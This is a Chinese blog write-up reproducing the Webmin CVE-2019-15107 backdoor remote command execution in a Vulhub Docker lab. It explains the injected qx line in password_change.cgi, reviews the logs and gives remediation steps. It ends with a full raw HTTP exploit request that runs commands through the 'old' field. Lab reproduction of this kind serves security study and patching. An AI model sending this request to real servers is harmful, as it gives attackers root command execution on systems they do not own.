CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)

CVE-2019-15107 Webmin远程命令执行漏洞复现

1 环境搭建

1.1 Vulhub靶机搭建

1.1.1 环境安装

(1)安装docker

$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

(2)安装Docker-Compose

$ pip install docker-compose

#如果没有pip需要先安装

 $ yum -y install epel-release
 $ yum -y install python-pip
 $ pip --version  # 查看pip版本

(3)安装Vulhub

$ git clone https://github.com/vulhub/vulhub.git

#如果没有Git需要先安装

$ yum install -y git
1.1.2 靶场使用

1.输入systemctl start docker 启动docker
在这里插入图片描述

2.输入systemctl status docker 查看docker状态
在这里插入图片描述

3.选择对应靶场进入,这里我们选择webmin下的CVE-2019-15107靶场
在这里插入图片描述

4.输入docker-compose up -d 启动靶场环境
在这里插入图片描述

5.输入docker ps查看容器id
在这里插入图片描述

6.输入docker exec -it docker-id /bin/bash 进入容器,这里我们docker-id为b6b4fd4f2796

在这里插入图片描述

成功进入容器
7.在win10浏览器输入靶场ip查看是否启动成功
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第1张图片

2 漏洞复现

2.1 影响版本

  • Webmin<=1.920

2.2 漏洞原理

Webmin远程命令执行漏洞的主要成因是利用了修改密码功能,密码修改模块的源代码被人恶意植入后门代码,导致攻击者可以通过抓取登录时的数据包,通过改包来进行远程命令执行,危害之大,只要后台能运行的命令,攻击者都可以通过抓改数据包来进行远程命令执行,主要漏洞代码如下图:
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第2张图片

漏洞主要是password_change.cgi中的大概第37-45行间,被人在后面拼接了qx/$in{‘old’}/,qx 此函数是使用反引号执行系统命令的替代方法,所以将old字段中的语句当作系统命令执行了,并拼接到pass_error后,会送到数据包中。
主要漏洞逻辑是攻击者提交错误的密码修改数据,导致后台返回报错信息Failed to change password : The current password is incorrect,此时利用漏洞,将执行了命令的old字段拼接在Failed to change password : The current password is incorrect后一起返回。
以下为无漏洞的正常源码

CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第3张图片

2.3 漏洞复现及日志分析

2.3.1 漏洞复现

查看漏洞环境,cat /etc/webmin/miniserv.conf,查看passwd_mode=2,此时密码修改功能开启。
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第4张图片

访问webmin页面
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第5张图片

打开Burpsuite进行抓包
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第6张图片

直接点击登录并抓包
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第7张图片
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第8张图片

可以看到此时是抓到了登录时的数据包,我们只需修改接口和字段,即可使用该漏洞。

CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第9张图片

将接口改为/password_change.cgi,将传输字段改为密码修改所需的字段,即user=&old=&new1=&new2=,需注意这里的user不可以是系统用户root,也可以直接套用EXP,修改完如下图:
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第10张图片

此时old字段中是ls,即ls命令,点击GO
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第11张图片

此时成功输出ls命令执行后的内容,我们查看whoami
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第12张图片

可以看到是最高权限root,此时我们获得最高权限root,可以在服务器随意执行命令,漏洞复现成功。

2.3.2 日志分析

查看日志文件miniserv.log
CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第13张图片
可以看到/password_change.cgi的访问记录,但是没有显示异常字段,无法知道是正常业务还是攻击手段。
Root用户下history也无法看到执行的命令(下列命令都是自己在后台执行的,并非远程执行产生的历史记录)

CVE-2019-15107 Webmin远程命令执行漏洞复现 (文末EXP)_第14张图片

3 整改建议

1.找到漏洞代码,将,qx/$in{‘old’}/)代码删除
2.下载最新版本webmin

EXP

POST /password_change.cgi HTTP/1.1
Host: ip:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: https://ip:10000
Connection: close
Referer: https://ip:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Upgrade-Insecure-Requests: 1

user=rootxx&old=ls&new1=test2&new2=test2

你可能感兴趣的:(漏洞复现,安全,安全漏洞)